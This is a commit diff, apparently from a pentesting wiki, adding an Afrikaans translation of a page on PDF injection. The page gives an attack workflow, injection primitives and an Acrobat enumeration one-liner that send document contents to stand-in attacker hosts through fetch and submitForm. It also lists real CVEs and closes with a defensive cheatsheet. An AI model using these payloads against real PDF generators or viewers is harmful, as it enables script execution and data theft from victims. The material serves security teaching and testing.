Translated ['src/pentesting-web/xss-cross-site-scripting/pdf-injection.m

This commit is contained in:
Translator 2025-08-04 18:13:45 +00:00
parent d921ce5afc
commit 0531f4489b

View File

@ -1,7 +1,55 @@
{{#include ../../banners/hacktricks-training.md}}
**As jou invoer binne 'n PDF-lêer weerspieël word, kan jy probeer om PDF-data in te spuit om JavaScript uit te voer of die PDF-inhoud te steel.**
Kyk die pos: [**https://portswigger.net/research/portable-data-exfiltration**](https://portswigger.net/research/portable-data-exfiltration)
# PDF Injection
{{#include ../../banners/hacktricks-training.md}}
**As jou invoer binne 'n PDF-lêer weerspieël word, kan jy probeer om PDF-data in te spuit om JavaScript uit te voer, SSRF te doen of die PDF-inhoud te steel.**
PDF-sintaksis is uiters toelaatbaar as jy uit die string of woordeboek wat jou invoer inkorporeer kan breek, kan jy heeltemal nuwe voorwerpe (of nuwe sleutels in dieselfde voorwerp) byvoeg wat Acrobat/Chrome graag sal ontleed.
Sedert 2024 het 'n golf van fout-bounty verslae gewys dat *een onontsnapte haakie of terug-skuif genoeg is* vir volle skripuitvoering.
## TL;DR Moderne Aanval Werkvloei (2024)
1. Vind enige gebruiker-beheerde waarde wat uiteindelik binne 'n **(haakie string)**, `/URI ( … )` of `/JS ( … )` veld in die gegenereerde PDF eindig.
2. Spuit `) ` (sluit die string) gevolg deur een van die primitiewe hieronder en eindig met 'n ander opening haakie om die sintaksis geldig te hou.
3. Lewer die kwaadwillige PDF aan 'n slagoffer (of aan 'n agtergronddiens wat outomaties die lêer weergee wonderlik vir blinde foute).
4. Jou payload loop in die PDF-kijker:
* Chrome / Edge → PDFium Sandbox
* Firefox → PDF.js (sien CVE-2024-4367)
* Acrobat → Volledige JavaScript API (kan arbitrêre lêerinligting met `this.getPageNthWord` ekfiltreer)
Voorbeeld (annotasie skakel kaping):
```pdf
(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next (
```
*Die eerste `)` sluit die oorspronklike URI-string, ons voeg dan 'n nuwe **Action** woordeboek by wat Acrobat sal uitvoer wanneer die gebruiker op die skakel klik.*
## Nuttige Inspuitingsprimitiewe
| Doel | Payload Snippet | Aantekeninge |
|------|-----------------|-------|
| **JavaScript op oop** | `/OpenAction << /S /JavaScript /JS (app.alert(1)) >>` | Voer onmiddellik uit wanneer die dokument oopgemaak word (werk in Acrobat, nie in Chrome nie). |
| **JavaScript op skakel** | `/A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >>` | Werk in PDFium & Acrobat as jy 'n `/Link` annotasie beheer. |
| **Blind data exfiltrasie** | `<< /Type /Action /S /URI /URI (https://attacker.tld/?leak=)` | Kombineer met `this.getPageNthWord` binne JS om inhoud te steel. |
| **Server-Side SSRF** | Dieselfde as hierbo, maar teiken 'n interne URL wonderlik wanneer die PDF deur agterkant-dienste wat `/URI` eerbiedig, gerender word. |
| **Lynbreek vir nuwe objekte** | `\nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobj` | As die biblioteek jou toelaat om nuwe-lyn karakters in te spuit, kan jy heeltemal nuwe objekte skep. |
## Blind Enumerasie Truuk
Gareth Heyes (PortSwigger) het 'n een-liner vrygestel wat elke objek binne 'n onbekende dokument tel handig wanneer jy nie die gegenereerde PDF kan sien nie:
```pdf
) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (
```
Die kode herhaal die Acrobat DOM en maak uitgaande versoeke vir elke eienskap/waarde paar, wat jou 'n *JSON-agtige* dump van die lêer gee. Sien die witpapier “Portable Data **ex**Filtration” vir die volledige tegniek.
## Regte-Wêreld Foute (2023-2025)
* **CVE-2024-4367** Arbitraire JavaScript uitvoering in Firefox se PDF.js voor 4.2.67 het die sandbox omseil met 'n vervaardigde `/JavaScript` aksie.
* **Bug bounty 2024-05** Groot fintech het kliënt-gelewer faktuur notas toegelaat wat in `/URI` beland het; verslag betaal $10k na 'n gedemonstreerde SSRF na interne metadata gasheer met `file:///` URI.
* **CVE-2023-26155** `node-qpdf` opdrag-inspuiting via ongesuiwerde PDF pad toon die belangrikheid van die ontsnapping van terugskrape en hakies selfs *voor* die PDF laag.
## Verdedigende Cheatsheet
1. **Moet nooit rou gebruikersinvoer** binne `(``)` strings of name saamvoeg nie. Ontsnap `\`, `(`, `)` soos vereis deur §7.3 van die PDF spesifikasie of gebruik hex strings `<...>`.
2. As jy skakels bou, verkies `/URI (https://…)` wat jy *ten volle* URL-kodeer; blokkeer `javascript:` skemas in kliëntkykers.
3. Verwyder of valideer `/OpenAction`, `/AA` (addisionele aksies), `/Launch`, `/SubmitForm` en `/ImportData` woorde wanneer jy PDF's na-verwerk.
4. Aan die bedienerkant, render onbetroubare PDF's met 'n *headless converter* (bv. qpdf decrypt linearize) wat JavaScript en eksterne aksies verwyder.
5. Hou PDF kyker op datum; PDF.js < 4.2.67 en Acrobat Reader voor Julie 2024 patches laat triviale kode uitvoering toe.
## Verwysings
* Gareth Heyes, “Portable Data exFiltration XSS for PDFs”, PortSwigger Research (opgedateer Mei 2024). <https://portswigger.net/research/portable-data-exfiltration>
* Dawid Ryłko, “CVE-2024-4367: Arbitrary JavaScript Execution in PDF.js” (Apr 2024). <https://dawid.dev/sec/cve-2024-4367-arbitrary-javascript-execution-in-pdf-js>
{{#include ../../banners/hacktricks-training.md}}